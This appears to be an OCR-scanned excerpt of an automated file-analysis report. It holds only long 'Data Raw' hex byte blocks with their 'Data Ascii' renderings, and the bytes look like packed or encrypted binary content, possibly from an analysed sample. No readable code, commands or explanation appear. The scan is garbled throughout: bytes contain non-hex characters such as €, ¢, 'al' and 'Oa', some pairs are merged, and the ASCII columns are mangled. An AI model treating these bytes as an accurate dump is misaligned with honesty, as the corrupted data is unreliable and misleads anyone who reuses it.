a2 4f 9e 53 7¢ 18 0f a6 a2 51 ad 1c ca 16 c3 64 a5 5b 95 32 0f ea 89 fd 91 d8 d9 af fe 9f fd f8 64 a5 8d d3 55 ea 63 €8 b4
5390 18 ea 03 be 1e 44 2d 5e b1 63 01 el fd 91 ea 68 6b 18 be b2 e6 ff 14 2d c9 f3 59 c2 1e b9 66 cc b8 aa cl bd 73 c6
fb 64 a9 de 57 al 82 6b 39 df 40 84 e8 a4 52 db 33 74 48 fd a9 be d7 2c e7 84 48 5f a0 b8 2f df d0 9d dc 56 60 b2 49 ce
bc 63 78 aa 95 5b 68 09 18 98 c9 bb 09 03 54 24 c1 19 c4 df 96 c0 2c f3 52 d6 Oa dc 80 37 ee 63 72 fd 15 7b 2e f1 aa 54
6e 74 87 97 e2 ec 6a d9 9b 1a 2e d7 aa b7 b5 d8 05 28 92 80 b7 4b d8 f4 de da 2f 55 69 43 4a 27 24 a8 39 f1 b5 a2 Oe
b2 a3 73 ef de 12 a4 52 db 33 74 48 fd a9 be d7 2c e7 84

Data Ascii: "GXWF$vt5K,Dnd*OS|Qd[2dUcSD-"chk-YfsdWk9@R3tH,H_/V Icx[hT$,R7cr{.Tntj.(K/UiCJI'$9sR3tH,

Data Raw: 40 81 e5 f8 49 63 d9 2d 29 b7 88 f1 75 25 ae ac 2c be fe 66 e6 35 8a 50 77 60 62 03 f1 49 65 3b 99 a5 c4 36 df
26 31 ef 11 87 57 c9 72 ff 2f 36 40 81 1a e4 al b6 4d 52 3d 49 88 f1 75 25 ae ac 2¢ be 1f ed 51 6¢ 9e 4b e4 1d ce 66 91
47 93 79 6a 04 c4 36 df 26 31 ef 11 87 57 c9 72 ff 2f 36 40 81 1f 3a 79 14 a0 f6 1a b5 88 f1 75 25 ae ac 2c be 9b el c8 92
7f d5 be 25 d1 ff 18 cf 2e bb 02 8d c4 36 df 26 31 ef 11 87 57 ¢9 72 ff 2f 36 40 81 e3 5¢ 4c 62 f3 2a 9a 3f 88 f1 75 25 ae

ac 2c be a9 4a 94 60 3a 8b 4b d7 16 0d 56 a2 a9 13 b2 b2 c4 36 df 26 31 ef 11 87 57 c9 72 ff 2f 36 40 81 e8 3d d9 3b 9f
68 f9 f6 88 f1 75 25 ae ac 2c be 7a 9f 82 71 71 ¢3 9c ec 86 9a 20 04 b4 64 f2 1c c4 36 df 26 31 ef 11 87 57 c9 72 ff 2f 36
4081 1c f1 f5 96 06 34 35 c6 88 f1 75 25 ae

Data Ascii: @lc-)u%,5Pw’ble;6&1Wr/6 @MR=1u%, QIKfGyj6&1Wr/6@:yu%,%.6&1Wr/6 @\Lb*?u%,J":KV6&1Wr/6@=;hu%
,20q d6&1Wr/6@45u%

Data Raw: bc 08 Of 5a f4 d1 9f e4 a4 32 94 f4 6a de d9 74 41 c9 fe 51 a6 6a 04 c2 6¢ b4 35 fb 78 9f 59 32 79 cc 78 ef 94
28 fa e5 85 b2 ee 6b 20 80 d5 ba 17 a3 49 32 d6 da 67 f4 5¢ bd 1e b9 6f 6¢ 7c 17 72 58 5b 28 ef 01 ab 21 bf 57 93 ce 44
35 f7 04 2 ae 5d 2d 2e b3 91 6a 08 fc 8 ce 9e 15 8d 29 63 b3 48 d7 b5 a9 ec 51 99 81 c5 0 4e Oe 50 fb b6 6e aa 03 be
€9 93 1c f2 4b 79 60 81 ef ad f1 bc 6b 49 ff 5a cc d1 fa b1 36 fe 62 e0 08 30 09 fc d9 e8 9d 66 08 9b 1c Oa 71 f2 af 32 3f
a0 e2 ae 58 Oe 3c 59 ea aa 5b b7 ¢3 05 2c b4 al 24 1e 69 85 Ob 50 b8 ae c6 27 23 38 ca ¢3 73 28 1f 81 4b 2b 57 d2 98
€8 43 34 ¢8 c0 20 64 97 51 a0 6a ea 8f e3 f5 24 c1 f2 a0 eb de 5f 53 1f 9c 90 88 4e 16 6a 7f 99 b2 fO €5 89 6e 32 be 36
00 2c 84 86 b8 7f a8 85 e8 b2 47 3b f6 Oc 8a 47 Oc a0

Data Ascii: Z2jtAQjI5xY2yx(k 12g\ol[rX[(\WD5]-.j)cHQNPnKy kIZ6b0fq2?X<Y[,$iP'#8s(K+WC4 dQj$_SNjn26,G;G

Data Raw: d2 df 47 c2 80 cb 5b 85 d6 7c 14 be 6¢ 33 d8 41 c4 fe e3 c9 51 a9 25 3a bc ae 5f a2 f0 4c 78 ac al 6e 58 6d 1le
05 d2 caf2 7e 44 52 4b a8 77 9d 2a 11 69 ae 55 da 65 7e a2 48 37 91 b2 d6 20 9c c7 15 3faa el 49 28 91 31 18 51 68
16 53 3d db 18 bb 74 0f 39 6b e5 a2 a8 c4 d0 6¢ da 74 2d 90 0d 19 a4 8¢ 42 77 5e e7 72 e3 af 35 b1 50 36 90 26 23 3e
28 dec2 1116 e3 1c 0a 94 eb 7c 6¢ 5¢ 01 4c e3 c9 51 a9 25 3a bc ae 5f a2 f0 4c 78 ac al 6e 65 8e 8c e4 4e 13 09 99 53
8e fa de f1 €8 9a 31 57 30 c7 f1 9e 62 90 f9 d3 31 9c dc 7a 8b f2 66 9e 16 15 9f {3 fd 9e db f9 ee 42 38 d5 b1l a8 1c 20 87
€140 a7 ca 3e 44 49 c0 73 19 d9 df 44 1d 00 42 6a 61 2e d1 95 7d 82 42 af 2d 95 fa 51 9e 77 2b 4b a4 c6 8d b6 2c 7d 95
2c d4 ba cc 17 57 f6 0b 43 b1 d4 f2 1c 07 59 00 b9 a4 ea

Data Ascii: G[|I3AQ%:_LxnXm~DRKw*iUe~H7 ?I(1QhS=t9klt-Bwr5P6&#>(|\LQ%:_LxneNS1WO0b1zfB8 @>DIsDBja.}B-
Qw+K },WCY

Data Raw: 5f 32 34 3d fa fe 74 36 38 b7 70 13 20 f1 4f 31 66 73 c8 d2 75 4b 40 53 7a ba 96 43 6f b9 95 6d ea a8 12 64 c9
96 fc db el b3 da 58 d6 22 2c 88 42 86 16 eb 32 12 cf 10 bd 6e €9 12 c6 10 09 de bf 4 7b 23 c1 3f 71 d6 5e 3d 18 89 1d
70 6f 94 69 c7 45 67 fe e6 b3 81 16 95 2c 1c 83 3f 3d 68 a0 3a 3d f1 f5 88 77 61 25 ab 8a 1a 99 53 2d 14 26 €8 9d 3b 92
26 5c 81 4b 7f 65 ea fb 01 e4 d0 8b e0 ef f3 5e a0 1f df 23 08 39 3b 8a 02 40 f9 51 14 c¢7 f8 9a bb 1d €9 a2 eb Oa c5 19 da
0d 73 4e 4b 57 6¢ 63 a0 1f d3 35 ea dc 74 29 8e 6f a4 81 8¢ 5f 6f 3 5f 5¢ 76 67 03 ce 95 b5 79 6e 78 b3 28 Oa b8 09 b8
d5 825217 72 08 49 db 75 3a Ob 61 el a0 cc 16 d1 33 31 6f bl 56 34 5d 2a fe 47 35 34 6d d9 41 26 3f c3 €5 23 9e 70 a4
€9 9e cl1 cb c0 8c 06 d4 71 3f 4e 76 5b a6 Of bb 7e

Data Ascii: _24=t68p O1fsuK@SzComdX",B2n{#?q"=poiEg,?=h:=wa%S-&;&\Ke"#9; @QsNKWIc5t)o_o_\vgynx(Rrlu:a
310V4]*G54mA&?#pq?Nv[~

Data Raw: 43 74 5a e3 76 c2 bb 56 6¢ 05 4d c¢7 16 99 2c 7b b6 8c cc 4d e9 dd 52 df 6d 57 67 82 5f 13 2d 40 65 3a 53 33
6d 85 28 30 13 63 c0 98 a2 8 ef 62 bc le f1 7a 7b 94 7e 6b 52 5e a8 3f 8d 2b a8 2f 4f ab f0 ea f5 05 24 84 b7 a7 04 f9 10
11 2c 6¢ ed 90 4e a8 6b 71 3e 3b b6 e6 06 5¢ 12 99 19 e8 bb 21 3d 26 3a 8c a9 a2 9f 13 bf el 59 31 92 Oc f4 37 e4 b2 58
9d 22 60 e3 f7 94 b6 9a 66 e4 87 b4 7f 21 43 63 02 a7 30 ae af b0 46 f3 be ad 36 7b bf 14 76 c7 f9 88 36 2c 61 f2 05 5f 02
€6 d4 0d ff c4 48 ab 8d 4a 84 3b c1 77 d8 01 60 9c ed 4e 2b f1 65 3a 3d 54 11 0a 91 6e d9 09 le 87 6f cf 2b 20 8f 4a 06
58 b5 f6 24 5b b4 el 61 69 83 8f e3 df bb de 11 99 db 48 14 71 f4 95 35 8 9c f2 79 e2 41 fe ca 3a f1 25 5b 41 al 1c 87 d5
b4 Oc 7e b7 c9 38 3f bc ae 1b ¢3 d2 1f 10 d9 86

Data Ascii: CtZvVIM {MRmWg_-@e:S3m(0cbz{~kR"?+/0$,INkg>;\!=&:Y17X" fICcOF6{v6,a_HJ;w N+e:=Tno+ JX$[a
iHg5yA:%[A~8?
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Data

Data Raw: 34 ba be 88 56 cb 94 a6 c2 a6 f0 4b 19 7b fb 1f 54 28 06 ea Oe 98 02 4b 50 ac 39 bl b3 de 7e 91 f6 d4 58 e4
2521 a5 77 bl cb 9e e4 f9 24 07 77 e2 09 el 36 30 2a f4 €6 66 cc 25 ab 8f 5¢ 4e 24 25 17 a3 26 d3 40 52 64 51 b6 10 96
le f5 f4 ef 16 3e 90 95 30 f8 4f b4 b8 30 ca 3a 21 c0 33 40 bc 4d 54 12 b3 8d 21 ff a7 4c 88 Oe ab 86 c2 c7 Ob 91 47 85 36
ed a9 92 f6 d6 8d 51 b8 c6 7e 40 ca 94 a3 33 d9 f3 f2 9a 22 e9 d6 35 87 e0 5d 55 2b c1 a2 8f 0d 57 5a aa 3e bd ba d3 cf
25 ba 54 01 85 a7 4e cf bf 71 cd f4 b9 78 b3 b7 e7 a9 76 5a bd 3f 2f 4c 88 a8 0f 3e 0d 48 48 df 18 be 14 4f 12 2f 59 91 a5
0a 07 b6 65 f8 21 bf 39 8b 8¢ 54 48 37 ae 17 80 b6 c5 d6 eb b6 68 e0 5d 60 al e2 3b 23 5f f8 Of 60 af 9e 6d 69 8¢ 72 29
€307 03 e6 a9 6d 3c 74 a3 74 07 a2 c5 a2 96 85 6d

Data Ascii: 4VK{T(KP9~X%!w$w60*f%\N$%&@RdQ>000:!3@MT!LG6Q~@3"5]U+WZ>%TNgxvZ?/L>HHO/Ye!9TH7
h]";#_ mir)m<ttm

Data Raw: b3 aa 85 f6 b1 43 03 af 9a fO fb 3d d2 cf d6 37 da 3e 58 3f d5 9c b8 b7 ba 89 f2 6f ef 75 3c d2 52 75 25 0f 69 ef
1a 27 4c 64 65 40 5¢ be 61 93 26 2c af cc ¢3 Oc b8 81 15 5a 2a d9 24 22 5f 0d 30 96 9a e5 3e 9a d9 52 a4 e8 ea 51 30
78 6e 63 17 7b b5 3f de be 97 3b 94 5a Oe 97 d5 c4 €8 a4 8b 23 c0 02 0d c6 2c 73 80 53 42 4c 7f 30 el b0 d9 32 98 2e 2c
08 d9 c0 98 24 ec 31 0a 23 31 6d 5b 77 98 bb 94 0f ef a6 89 b7 2e 57 6a 31 13 88 c4 7a dc 05 c7 5¢ 8a 81 ed 06 86 a4 62
43 b6 c7 da 61 b6 Of 46 09 a4 e5 37 ef 5a b5 47 1f bc 5d 87 ¢3 cd b9 a8 88 cd 3 b5 fa 12 9a ab 38 7b a6 03 cb 66 0b ff 53
a6 29 5f 56 f6 b6 aa 3c d1 e5 7c c0 67 Oa cl e0 8f 6b 5d 41 e6 2d d2 35 72 da e3 e1 43 17 1e 63 1b €2 04 2b 46 b4 b8 1b
52 d0 2e 77 1d al el da aa 99 98 c0 28 20 4d e3 68

Data Ascii: C=7>X?0u<Ru%i'Lde@\a&,Z*$"_0>RQOxnc{?;Z#,sSBL02.,$1#1m[w.Wj1z\bCaF7ZG]8{fS)_V<|gk]A-5rCc
+FR.w( Mh

Data Raw: 44 31 69 4d ba a0 48 43 fd 84 32 99 64 31 c7 e6 6d c0 6 c1 34 3d 76 d2 47 3 95 ec bf 1c 95 65 de aa 37 91
b2 d6 20 9c c¢7 15 cc 2a 2a c5 e7 d6 38 ad a9 22 95 ba df 87 34 Of bb 0a ae 43 71 09 d2 ee 90 01 c4 85 bf d0 29 63 73 ea
c0 b9 4e 58 84 dd 6e 70 bd 04 94 9c c5 0f bc e9 ae 9f 6e c6 b2 07 62 03 b2 6f dc ¢8 52 da d4 5b d8 f1 2e 97 bb 59 0b 75
84 be 16 fd b0 79 a9 22 95 ba df 87 34 0f bb 0a ae 43 71 09 d2 ee 5b a7 dd 49 1le 92 16 40 73 ea c0 b9 4e 58 84 dd 6e 70
bd 04 94 9c ¢5 0f 93 46 34 b9 70 1c e4 77 cb c8 e2 f4 b7 d8 4d 97 c8 12 ea f6 5f ce 8b 04 Oc 55 b9 41 93 20 dO 5e 3c 27
e4 6b e9 fc 02 f4 28 15 8d 04 7e a0 21 79 42 74 71 25 79 b6 d8 47 2a df da 70 4b 6f 11 4d Oe b4 25 5e 92 22 76 9b 75 57
00 Oe b8 66 89 f8 49 ee 9a 67 42 29 03 9e 04 a0 bf f8 7e

Data Ascii: D1iIMHC2d1m4=vGe7 **8"4Cq)csNXnpnboR[.Yuy"4Cq[l@sNXnpF4pwM_UA ~<'k(~!yBtq%yG*pKoM% "vuWfl
gB)~

Data Raw: 55 be c8 f9 f4 9f 53 d7 6f 7a 6d Oe 0a 06 2e 3b 21 44 bc 3e 87 79 cf 5d 86 83 af cc ¢3 Oc b8 81 15 5a 7d 8c d8
bd ad 39 9d 8 db 2a c0 31 35 8b 3e 48 f0 20 83 49 d1 fb b4 48 c9 32 2c ae fd 7a 89 16 47 2c¢ b5 ef 57 1b 1c a2 b2 2c 68
ac 97 ¢3 81 62 fd 45 00 be 6b b3 ac 21 ac da da 75 7f 52 3b 87 6e b4 5a 14 ca 67 46 82 39 e2 20 1f 35 b5 80 10 ce b8 6d
6e c4 8d c3 4d 33 75 89 7e 82 93 cf c¢7 32 a0 53 ff 19 87 87 27 af cc ¢3 Oc b8 81 15 5a 62 27 a8 59 07 15 9d d6 67 92 41
30 b8 d2 07 5¢ cc 47 el cf 81 b0 7d d1 eb d5 63 08 43 b7 b1 64 66 69 70 c5 58 db b0 9b 5b 3c f8 9e 3¢ 1a 2a f5 76 03 41
05 7b c2 a9 30 e2 fb af 6e b4 14 5e 7c 38 97 84 5b b0 b7 62 b3 79 ca 92 2f c0 2c Ob a8 b7 2f 1a a0 80 f4 2¢ 43 1f 2b b5
e5 51 ae 31 fc 2b b2 ca 57 0a e5 da 73 c6 25 e7 a3 5f
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/,C+Q1+Ws%_

Data Raw: 8f e7 a6 58 06 59 df ea e8 61 17 87 49 40 a2 6e 20 26 f0 9a 5b 09 d4 72 97 90 5d a3 ba e8 02 87 a6 ee 1d 9b
12 fa ef da d3 fe 61 00 05 f9 17 a7 ed 3f 8b c¢1 89 dc 5¢ 94 c0 90 4b e6 1b 80 a9 d4 08 a2 6f f8 db 82 9f ea 1b c0 c6 5 29
e3 ba e0 f8 a5 92 23 b8 3b 40 5¢ Ob b4 6e ce de ae 94 e4 ee 19 fd 60 Oa 6d fO eb e6 €5 2e 0d 78 29 2a 8a 5 4b 4e 67 a9
df df Oc 18 a0 91 2a 06 b6 Oc f5 a7 4c b4 ea 87 57 bd 9b 4b 1b ce 73 5b 5¢ 5c c0 aa 23 a4 54 87 dd 23 12 3¢ d3 17 17 80
6b ff 29 5f c3 2a 62 a2 e8 c5 e6 72 9d 31 62 6e a3 69 a2 70 cd 60 70 94 e6 9a 31 8f 29 f3 94 b0 2f 06 18 c1 a0 e4 71 06
1353 43 25 25 96 ab c3 4c 05 ec 5e 11 37 2f Oe ab e8 b5 9a 9c ac 97 b5 b5 b7 4a f3 e3 a0 b9 c4 17 ed 39 e7 ca d6 79 93
115 7d 32 67 d1 df 1d 3e 18 b7 f6 61 €582 72 77 79

Data Ascii: XYal@n &[r]a?\Ko)#;@\n m.x)*KNg*LWKs[\#T#<Kk)_*bribnip p1)/qSC%%L"7/I9y}2g>arwy

Data Raw: a3 04 23 9f e7 72 ee 86 8c 81 22 4d 3e 3a 50 9a 11 c8 9f 5f b3 5e bf d5 22 7f ¢3 d0 b3 bd 35 94 ae 21 9c 9d 64
d5 ff 01 16 c7 78 €3 9f ab ac 31 63 d3 e4 08 55 63 6¢ b7 44 75 92 b6 23 06 ce Oe 10 ca 7f 47 Oa cO 0f 99 9a c7 5a 6¢ ef f3
68 1c €8 27 35 9b c0 29 99 4e dc e0 66 21 56 80 33 98 2c 6b ae 19 ec 9b 1f bb Ob af 3d 6f 81 98 8a ae fb 39 cb c8 e2 f4
b7 d8 4d 97 6e 63 3f 27 2d 5f 7a 2f d5 2f 49 9b ae 96 1b 33 14 94 al €9 57 25 53 b0 ff 4d 6b 9d ec 5f 67 19 8f 89 65 b5 f5
c8 73 3e 5¢c 34 al b9 fb 9a 77 94 92 b6 23 06 ce Oe 10 ca bf b9 26 0d 64 9a f8 84 9d e0 33 15 84 2d ca 2c 62 8f 7c c7 19
b4 06 5a 6f bb af f5 d1 c1 05 3d 11 c3 06 a6 eb el 2e d2 8b 1f f1 f2 5a 06 ba de d8 92 f5 9b b9 2f 7f 4¢c 71 7f 3e ef fO 4d e3
d0 79 18 1b de b8 78 74 88 68 29 4d 33 b2

Data Ascii: #r"M>:P_~"5!dx1cUcIDu#GZIh'5)NfIV3,k=09Mnc?'-_z//I3W%SMk_ges>\dw#&d3-,b|Zo=.Z/Lg>Myxth)M3

Data Raw: 2a 7f 7f 26 0a b9 58 c9 65 a2 fb cf 67 d7 73 2b d7 a2 49 b2 bb 18 ec 24 b1 86 a2 31 29 18 bf 8b 52 d6 62 22
99 61 9a 8d 7b c8 35 aa 5e bd 8b 5a 19 1d 8e 04 6a 2d 61 4c c6 Ob 19 06 35 56 2a 6e 06 7c d9 ab 24 8b c8 e6 de a2 8a
2f 76 db d8 00 57 dc 10 8b a9 50 66 69 bl 9e a2 a6 6a 16 e7 21 4f 1a 30 90 7b 17 6e c0 f3 7e db f8 10 95 f8 fb 3f 87 b5
10 aa 25 07 de b0 c5 4e 23 e5 b7 90 85 57 6¢ 04 97 58 23 2b b9 19 7f 5f 86 22 a5 07 20 86 ed bl 1d cd 7a 20 ca 6¢ 2f 81
00 ce 45 20 2d 92 24 ea b9 02 78 0d 86 bd 2c 51 8a dd a3 88 ca 87 89 d1 1b 12 77 dc 91 ca 78 c4 4b b3 b3 18 e4 e8 7c
b6 ab ba 0f b0 2c 19 73 a3 0d ca d9 4d af be 54 34 4d 5d 9d 22 14 d8 ac 63 22 de 61 b0 ca 98 c5 63 4f db eb 4e 94 b3 63
df a7 0f dd 35 f9 f6 €5 59 90 e4 48 a2 7b e6 b2 b2 29 b6 4e ee

Data Ascii: *&Xegs+|$1)Rb"a{5Zj-aL5V*n|$NWPTijl00{n~?%N#WIX#+_" z lE -$x,QwxK|,sMT4M]"c"acONCc5YH{N

Data Raw: 7b 0d 07 12 Ob 66 1 b3 5¢ 97 cf 41 ¢3 80 03 61 21 d8 2b bc 47 d8 ca eb ac 03 07 12 0b 66 f1 b3 5¢ 97 4d cO
5b 0a 65 62 da ee 3f 34 20 4c e4 3d 8a a4 07 12 Ob 66 f1 b3 5¢ 97 a9 ce 58 88 be 99 a0 db f5 17 24 33 4e fd eb c7 07 12
0b 66 f1 b3 5¢ 97 6a 49 8¢ 77 52 5 f4 7a 91 fb 9a 50 c1 32 ec a9 07 12 Ob 66 f1 b3 5¢ 97 a9 b8 87 33 €5 2f 45 1a 49 bf 10
€8 99 47 2b 24 94 a8 a5 47 bc 9d 03 3a 74 c1 08 1e ff 04 2c ae a0 8e 67 2d 62 48 00 18 de 26 el d9 02 d2 70 fc 07 12 Ob
66 f1 b3 5¢ 97 61 b6 be ae 5a 1e c9 fa 16 20 1a ca 2b 45 fe 4d 4c 30 33 b8 1c de 09 78 71 25 2 82 eb 68 c1 00 85 53 06
d8 7f 8a e7 a6 58 0d 19 7h 86 84 98 0d df 8e 53 67 c5 be b8 a9 5b bb bd a9 ad 99 ¢4 7 58 0d f9 7b 86 84 98 0d 3¢ 01 30
6a b9 26 48 d3 ca 1d 56 37 48 66 67 29 60 ce ca 65 59

Data Ascii: {\Aal+GAM[eb?4 L=AX$3NAlWRzP2A3/EIG+$G:t,g-bH&pAaZ +EMLO3xq%hSX{Sg[X{<0j&HV7Hfg) eY

Data Raw: c6 86 0a b4 f7 4b a0 82 04 48 2c a5 73 7c a7 d5 Of a0 01 31 7d 26 89 al 71 la 3c 79 f4 84 27 fb 2a 3c 06 94
3a 94 86 36 ba 9f 41 d0 a8 5a f7 44 fe 46 9f e6 39 a2 14 55 c1 9d d7 c¢3 19 86 e0 6d ca 15 8f f2 30 b2 b8 4b 8 8a 2b d1 c5
12 a6 d7 f1 fc 58 0d f9 7b 86 84 98 0d 3c 01 30 6a b9 26 48 d3 89 ce 5e 4a 5a 38 0a 40 35 d8 a4 19 05 61 c5 80 4c 30 33
b8 1c de 09 78 6b 41 30 d3 c7 a2 d3 bb 77 af 82 01 5¢ ca 5a 7d 58 0d f9 7b 86 84 98 0d 06 4d e6 19 fb 93 3c a8 bc 1c 5b
cd 2c 5f 6¢ a5 58 0d f9 7b 86 84 98 0d d2 99 4c 40 bd 16 d6 f8 fc 34 ae ec e0 3b eb 2e 2f 56 be 9a 55 fa fe 6b 8b cb 81 41
cc 70 d7 48 d7 c¢3 19 86 €0 6d ca 15 6¢ 54 a4 42 45 20 49 a2 Ob f9 d9 65 4c 83 57 63 58 0d f9 7b 86 84 98 0d b4 05 6e fc
42 c3 ¢4 9c 44 55 85 81 bd 44 cc f0 58 0d f9 7b 86

Data Ascii: KH,s|1}&q<y"*<:6AZDF9UmMOK+X{<0j&H"JZ8@ 5aL 03xkAOW\Z}X{M<[,_IX{L@4;./VUKApHmMITBE leLWcX{nB
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Data

Data Raw: 98 0d 3c 01 30 6a b9 26 48 d3 d3 8c el 3d c2 1e ef f7 9d 5b b1 7e 1c fa cO 35 07 12 Ob 66 f1 b3 5¢ 97 24 el
3194 fc 6a 86 5b ca af 32 a8 d8 91 77 b5 el 84 3b al eb f7 7d 09 46 4b 15 93 cc 7c 4b 08 3c a7 3b 18 4a 7c 34 12 07 12
0b 66 f1 b3 5¢c 97 ea 22 07 b4 05 9f 58 80 63 22 1d 8b fa 42 6f €9 07 12 Ob 66 f1 b3 5¢c 97 4d ae 9a 80 Oc a4 8e 88 6 9c
80 7d ad 39 08 a0 4c 30 33 b8 1c de 09 78 60 c2 10 cd c¢3 19 c8 6a f2 7d 2d ee d9 14 e3 4e 58 0d f9 7b 86 84 98 0d 1d f9
2706 €119 17 cc 51 88 ¢5 d8 12 97 3e 59 e6 c9 b2 2c 44 3c 68 b9 4c 30 33 b8 1c de 09 78 b7 17 dd bb 69 e7 5b 28 b8
78 1a72 22 61 d8 1c 58 0d f9 7b 86 84 98 0d 3c 01 30 6a b9 26 48 d3 2d da 88 9c 9c Of e6 a8 54 07 c6 24 02 2e 93 d3
07 12 0b 66 f1 b3 5¢c 97 8c 04 2e 6a 8a 48 96 fb 9e b3 2d 3b 29

Data Ascii: <0j&H=[~5\$1j[2w;}FK|K<;J|4f\"Xc"Bof\M}9L03x j}-NX{'Q>Y,D<hL03xi[(xr"aX{<0j&H-T$.f\.jH-;)

Data Raw: 98 0d 3c 01 30 6a b9 26 48 d3 14 01 87 65 af 98 f5 d5 a3 53 41 c5 94 a5 81 86 4c 30 33 b8 1c de 09 78 68 24
5c 2a 25 d7 56 b7 6d 8f ce 22 59 32 19 71 58 0d f9 7b 86 84 98 0d 3c 01 30 6a b9 26 48 d3 b8 80 2e e8 37 9a 04 ba bf 78
26 €9 96 a9 ec 52 07 12 0b 66 f1 b3 5¢ 97 04 0b 1b 24 eb cf dd bc 47 d5 63 af 75 39 56 dO 07 12 Ob 66 f1 b3 5¢ 97 fa a2
de fe 06 8e e4 2c 8e 4d 89 e9 ff 80 7b 10 94 a8 a5 47 bc 9d 03 3a 74 c1 08 1e ff 04 2c ae 2a 29 2f 37 5d 2a 14 5a a5 7b
Ob 89 5b 41 3f 65 07 12 0b 66 f1 b3 5¢c 97 €9 5b 57 bb 4e 93 5e 24 94 c9 2d da 25 78 7d 2c d7 c¢3 19 86 €0 6d ca 15 3f 50
9c 03 f4 7d e5 2f bf ac 7d 7c ae Oe eb 93 58 0d f9 7b 86 84 98 0d 1d f9 27 06 el 19 17 cc b9 9f f5 50 35 71 el d5 a9 c0 15
8c 2b b2 75 49 63 1b 51 0b 3 b3 cc 6¢ 67 ee e4 ce cb

Data Ascii: <0j&HeSAL03xh$\*%Vm"Y2gX{<0j&H.7x&RA$Gcu9VA,M{G:t,*)/7]*Z{[A?e\[WN"$-%x},m?P}/}| X{'P5g+ulcQlg

Data Raw: c9 ea 06 4d el 86 2c dO b7 e4 bd 3c d1 c4 17 c0 65 ¢3 9d f3 9a c9 5a 0d cf ae 18 {5 fa ef 1a 5b 8c 3f 5d 2d bd
78 79 43 f8 50 a2 b1 81 fe 4f a4 26 b9 2b 86 55 ea 51 30 86 00 60 14 c7 9a 26 f3 41 1f e2 06 8e 1d ff 68 d2 a4 aa 64 98
d8 55 db al 5e 18 ac eb f8 67 9c c6 be 87 d8 d1 97 86 15 a4 00 14 b4 a7 00 8a 6¢ 24 5f 01 48 99 49 Oe c5 6b 02 a9 37
c6 fb 33 4c d6 33 Oe 58 b4 21 a6 14 91 9e fO bb 1b 7e al 12 3f 9a 79 €9 ce f6 2e 97 67 3f 22 3f 87 53 1b 08 37 8b 4c 5a
9 6f 3f db 7a 04 df 45 8c b1 9a 5e ce b8 18 c0 69 72 de c8 c7 b2 c3 84 ef 18 a2 d8 17 52 76 c3 dd f1 e9 e9 b3 4f cd 1a 03
a6 06 ba f7 19 ee 9f 64 e6 7d 21 64 3 54 46 9a 9f 51 7a 09 4c b3 9d 75 b5 29 03 ec 75 44 09 4f 99 c5 3e 7 9d 7b d9 f3
83 a8 b2 dd 48 0f 78 85 69 06 ff 8f fe 92 Ob cd bf 53

Data Ascii: M,<eZ[?]-xyCPO&+UQ0 &AhdU"gl$_HIk73L3X!~?y.g?"?S7LZ0?zENrRvOd}HdTFQzLu)uDO>{HxiS

Data Raw: c3 23 e5 03 49 30 05 10 db 60 Ob b2 29 16 d8 8b dd 6a 39 e9 1e 1c c4 f8 ef 6d 88 7b el 13 e8 8b ae 3a cb 62
58 d3 a7 20 bb 1b fc c2 a6 9a 8e 86 3f 26 f8 80 01 cd bf ca 2b 67 bd 49 4e 38 f2 56 b3 a0 23 12 5¢ ba 61 75 b3 d1 99 b3
7537 eb 28 3e 1b 83 67 f8 ca 9d ff 63 d9 77 cc 75 e8 2b 5b a2 3e 19 8d ca 65 05 96 c9 9a 26 6e aa be 85 f8 Ob 62 00 64
bf 8a d4 al ee ce c3 34 37 9e 46 18 73 04 c5 €0 4a 48 6e 18 86 fe b4 02 83 6a 7d be Oc 05 a6 c5 69 f3 ce c2 14 5e bc 38
41 df 01 3e c558 al 1c 67 €8 c1 35 5b ff 00 cd a4 e8 9e bd af 84 4e 75 f0 06 9a 60 72 94 f2 8c 1f ec el 1b e9 dc 92 7d
37 47 80 8c bf 14 6¢ 4e 95 ad 71 99 7e Of 25 9b 84 35 9e ce cc b4 b6 aa €9 3f 75 b2 48 0d df 92 c7 9f e2 6¢ a5 58 39 ae
72 fb df 10 ce 33 7c a0 12 93 42 d7 55 ¢4 77 7b 39 25 90

Data Ascii: #107)j9m{:bX ?&+gIN8V#\auu7(>gcwu+[>e&nbd47FsJIHnj}i*8A>Xg5[Nu r}7GINg~%5?uHIX9r3|BUW{9%

Data Raw: 2a af d3 cf 7f e4 6a 38 64 a6 99 9a Ob 32 82 el 4a c2 b1 35 2b 58 0f 87 a0 01 f2 07 2b ec ¢3 41 b7 55 fa a4 9e
3899 c3 ¢4 bb 92 4d 4d d3 fa a2 aa 8a 9e 07 eb 90 6f 88 9e 88 89 e6 cc d7 ad 29 a6 66 fO 44 4b 86 03 52 f9 da 89 49 77
4b Oc ce 35 9f aa 39 91 17 3b 86 00 97 cb 21 4 cf f1 59 96 bd 8e 27 68 00 75 5¢ 68 82 b1 cd d7 4a e6 a2 e0 59 d5 7a 90
5d 8e 02 88 7a 76 b7 fa 34 ¢9 9e c0 68 Oe 6b 82 a4 d1 fc 0d fO 43 69 f5 36 f5 46 55 15 €8 66 68 7b c0 cc 1e ¢3 30 03 1d
f7 6f 13 71 8f c5 a3 ab 2f 8b 21 59 18 46 a7 5b 30 cf €6 dO 7d af 0d 25 44 01 35 96 76 €9 9b c8 21 94 f9 fO cd 13 11 4a 39
b7 40 75 94 3a 03 cc 38 8d a8 d1 d8 d1 29 e5 82 87 ac 96 1c aa 9f 85 ea 57 e8 04 ad bd a6 87 5a e8 36 4f 10 9a 4b 87 ff
84 02 d5 14 d2 ad aa be d6 ee a9 c6 59 2 5c ef e9

Data Ascii: *)8d2J5+X+AU8MMo0)fDKRIWK59;!Y'hu\hJYz]zv4hkCi6FUfh{0oq/!Y F[0}%D5v!J9@u:8)WZ6 0K Y\

Data Raw: fb bc 09 e6 07 2e b6 a2 8e el 34 8b d4 7a 7c d9 59 c4 a2 28 a3 bl le a4 89 86 al 35 {7 38 9f 58 9f 5d 91 ad
75 ca 1d df d2 d7 73 60 33 42 d3 41 a6 7f 35 ad b9 f5 cb 2e 09 20 18 60 db 76 ed b2 a7 d4 c5 36 58 ab 11 97 96 cc 63 77
€2 48 9d 96 30 61 a7 72 3f d2 0d 5d b0 32 Ob a6 6e 71 a6 cc ¢3 58 12 23 38 9e 11 7a 3f 9f 20 26 4f 92 e4 ce 90 37 74 25
f1 64 51 0f 08 1b ea aa 5d 36 44 a5 43 3c 28 1le ba d5 f7 d7 fb e7 4a 28 1a 21 26 e5 71 3d 88 d4 54 15 db 5b 97 fd el 8c
